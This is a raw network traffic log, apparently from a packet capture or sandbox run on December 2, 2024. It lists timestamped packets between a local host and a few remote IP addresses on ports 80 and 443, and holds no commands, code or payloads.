Dec 2, 2024 07:38:01.881005049 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.881609917 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.881659985 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.881717920 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.881759882 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.882432938 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.882493973 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.882517099 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.882559061 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.883239031 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.883294106 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.883330107 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.883379936 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.884037971 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.884094000 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.884102106 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.884143114 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.884841919 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.884891033 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.884896040 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.884929895 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.885647058 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.885704994 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.885740042 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.885785103 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.886436939 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.886492968 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.886549950 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.886600018 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.887268066 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.887330055 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.887361050 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.887409925 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.888082981 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.888134003 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.888150930 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.888201952 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.888880968 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.888933897 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.888967991 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.889018059 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.889681101 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.889733076 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.889738083 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.889777899 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.890480995 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.890527010 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.890563011 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.890609026 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.891274929 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.891333103 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.891366959 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.891413927 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.892072916 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.892127037 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.892160892 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.892205954 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.892879009 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.892931938 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.892971992 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.893018961 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.893425941 CET	49834	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:01.893455029 CET	443	49834	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:01.893685102 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.893728018 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.893770933 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.893816948 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.894490004 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.894542933 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.894598007 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.894642115 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.895294905 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.895340919 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.895401001 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.895447016 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.896109104 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.896159887 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.896188974 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.896233082 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.896914005 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.896960020 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.897015095 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.897061110 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.897708893 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.897766113 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.897828102 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.897878885 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.898523092 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.898580074 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.898614883 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.898659945 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.899348021 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.899399042 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.899482012 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.899527073 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.900219917 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.900269985 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.900301933 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.900347948 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.900978088 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.901031017 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.901063919 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.901108027 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.901736975 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.901782990 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.901900053 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.901948929 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.902558088 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.902612925 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.902647018 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.902693033 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.903342009 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:01.903393984 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:01.977873087 CET	443	49843	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:01.981215954 CET	443	49843	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:01.981270075 CET	443	49843	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:01.981286049 CET	49843	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:01.981465101 CET	49843	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:01.981465101 CET	49843	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:01.981465101 CET	49843	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:01.984654903 CET	49848	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:01.984700918 CET	443	49848	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:01.984781027 CET	49848	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:01.984937906 CET	49848	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:01.984949112 CET	443	49848	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:02.079186916 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:02.079333067 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:02.123780966 CET	443	49844	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:02.126983881 CET	443	49844	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:02.127046108 CET	49844	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:02.127202034 CET	49844	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:02.127218962 CET	443	49844	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:02.127237082 CET	49844	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:02.127243042 CET	443	49844	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:02.135390043 CET	49849	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:02.135431051 CET	443	49849	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:02.135504007 CET	49849	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:02.135890007 CET	49849	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:02.135901928 CET	443	49849	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:02.284096956 CET	49843	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:02.284117937 CET	443	49843	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:02.299108028 CET	443	49845	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:02.299182892 CET	443	49845	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:02.299319029 CET	49845	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:02.299799919 CET	49845	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:02.299799919 CET	49845	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:02.299822092 CET	443	49845	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:02.299830914 CET	443	49845	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:02.302953005 CET	49850	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:02.302997112 CET	443	49850	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:02.303071022 CET	49850	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:02.303216934 CET	49850	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:02.303231001 CET	443	49850	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:02.324484110 CET	443	49846	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:02.324556112 CET	443	49846	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:02.324606895 CET	49846	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:02.324870110 CET	49846	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:02.324888945 CET	443	49846	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:02.324898958 CET	49846	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:02.324904919 CET	443	49846	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:02.332353115 CET	49851	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:02.332365990 CET	443	49851	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:02.332432032 CET	49851	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:02.332820892 CET	49851	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:02.332829952 CET	443	49851	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:02.547854900 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:02.547868967 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:02.667741060 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:02.667766094 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:03.528906107 CET	443	49847	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:03.531280994 CET	49847	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:03.531297922 CET	443	49847	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:03.531845093 CET	49847	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:03.531851053 CET	443	49847	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:03.661003113 CET	443	49849	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:03.661628008 CET	49849	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:03.661680937 CET	443	49849	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:03.662166119 CET	49849	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:03.662179947 CET	443	49849	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:03.667452097 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:03.667541027 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:03.833554983 CET	443	49848	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:03.860599995 CET	49848	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:03.860613108 CET	443	49848	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:03.868407011 CET	49848	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:03.868412971 CET	443	49848	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:03.876173019 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:03.983036995 CET	443	49847	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:03.986119986 CET	443	49847	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:03.986160994 CET	443	49847	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:03.986211061 CET	49847	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:03.986273050 CET	49847	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:03.996102095 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:03.997281075 CET	49847	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:03.997303963 CET	443	49847	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:03.997315884 CET	49847	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:03.997323036 CET	443	49847	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:04.001038074 CET	49852	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:04.001079082 CET	443	49852	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:04.001147985 CET	49852	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:04.001353979 CET	49852	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:04.001368999 CET	443	49852	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:04.095578909 CET	443	49849	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:04.098865032 CET	443	49849	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:04.098929882 CET	49849	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:04.099389076 CET	49849	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:04.099407911 CET	443	49849	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:04.108913898 CET	49853	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:04.108975887 CET	443	49853	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:04.109036922 CET	49853	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:04.110172033 CET	49853	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:04.110188007 CET	443	49853	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:04.113221884 CET	443	49851	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:04.113770962 CET	49851	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:04.113781929 CET	443	49851	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:04.114613056 CET	49851	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:04.114617109 CET	443	49851	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:04.148542881 CET	443	49850	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:04.151424885 CET	49850	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:04.151436090 CET	443	49850	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:04.152196884 CET	49850	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:04.152201891 CET	443	49850	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:04.286659956 CET	443	49848	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:04.289716959 CET	443	49848	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:04.289786100 CET	49848	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:04.289863110 CET	49848	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:04.289884090 CET	443	49848	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:04.289895058 CET	49848	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:04.289901972 CET	443	49848	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:04.293010950 CET	49854	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:04.293055058 CET	443	49854	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:04.293148994 CET	49854	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:04.293442965 CET	49854	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:04.293457985 CET	443	49854	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:04.330205917 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:04.330267906 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:04.330319881 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:04.330364943 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:04.531548977 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:04.531584024 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:04.531680107 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:04.531702042 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:04.534599066 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:04.557401896 CET	443	49851	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:04.558029890 CET	443	49851	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:04.558084965 CET	443	49851	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:04.558104992 CET	49851	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:04.558140039 CET	49851	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:04.558223963 CET	49851	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:04.558223963 CET	49851	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:04.558237076 CET	443	49851	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:04.558245897 CET	443	49851	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:04.561273098 CET	49855	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:04.561327934 CET	443	49855	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:04.561403036 CET	49855	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:04.561562061 CET	49855	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:04.561573029 CET	443	49855	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:04.601336956 CET	443	49850	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:04.604759932 CET	443	49850	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:04.604851961 CET	49850	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:04.604882002 CET	49850	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:04.604893923 CET	443	49850	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:04.604904890 CET	49850	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:04.604908943 CET	443	49850	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:04.608472109 CET	49856	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:04.608489037 CET	443	49856	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:04.608593941 CET	49856	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:04.608812094 CET	49856	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:04.608824015 CET	443	49856	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:04.654491901 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:04.988467932 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:04.990587950 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:05.004539013 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:05.125680923 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:05.781923056 CET	443	49852	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:05.783140898 CET	49852	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:05.783154011 CET	443	49852	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:05.783693075 CET	49852	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:05.783698082 CET	443	49852	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:05.891359091 CET	443	49853	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:05.892107010 CET	49853	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:05.892133951 CET	443	49853	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:05.892653942 CET	49853	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:05.892658949 CET	443	49853	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:05.955012083 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:05.955118895 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:05.958229065 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:06.009757996 CET	443	49854	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:06.010303020 CET	49854	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:06.010314941 CET	443	49854	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:06.010812044 CET	49854	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:06.010818005 CET	443	49854	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:06.078946114 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:06.226419926 CET	443	49852	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:06.226506948 CET	443	49852	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:06.226692915 CET	49852	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:06.227015972 CET	49852	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:06.227032900 CET	443	49852	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:06.227042913 CET	49852	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:06.227047920 CET	443	49852	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:06.230596066 CET	49857	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:06.230617046 CET	443	49857	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:06.230732918 CET	49857	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:06.230918884 CET	49857	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:06.230930090 CET	443	49857	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:06.324290037 CET	443	49856	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:06.325026989 CET	49856	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:06.325062990 CET	443	49856	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:06.325534105 CET	49856	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:06.325540066 CET	443	49856	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:06.336190939 CET	443	49853	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:06.339742899 CET	443	49853	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:06.339791059 CET	49853	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:06.339791059 CET	443	49853	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:06.339844942 CET	49853	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:06.340080976 CET	49853	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:06.340100050 CET	443	49853	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:06.340110064 CET	49853	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:06.340116024 CET	443	49853	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:06.343694925 CET	49858	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:06.343730927 CET	443	49858	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:06.343795061 CET	49858	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:06.344120979 CET	49858	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:06.344132900 CET	443	49858	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:06.361958981 CET	443	49855	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:06.362859011 CET	49855	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:06.362878084 CET	443	49855	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:06.363373041 CET	49855	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:06.363378048 CET	443	49855	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:06.417402983 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:06.417546034 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:06.421711922 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:06.444303989 CET	443	49854	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:06.447427988 CET	443	49854	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:06.447496891 CET	49854	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:06.447530031 CET	49854	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:06.447546005 CET	443	49854	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:06.447557926 CET	49854	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:06.447563887 CET	443	49854	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:06.450563908 CET	49860	443	192.168.2.6	13.107.246.63
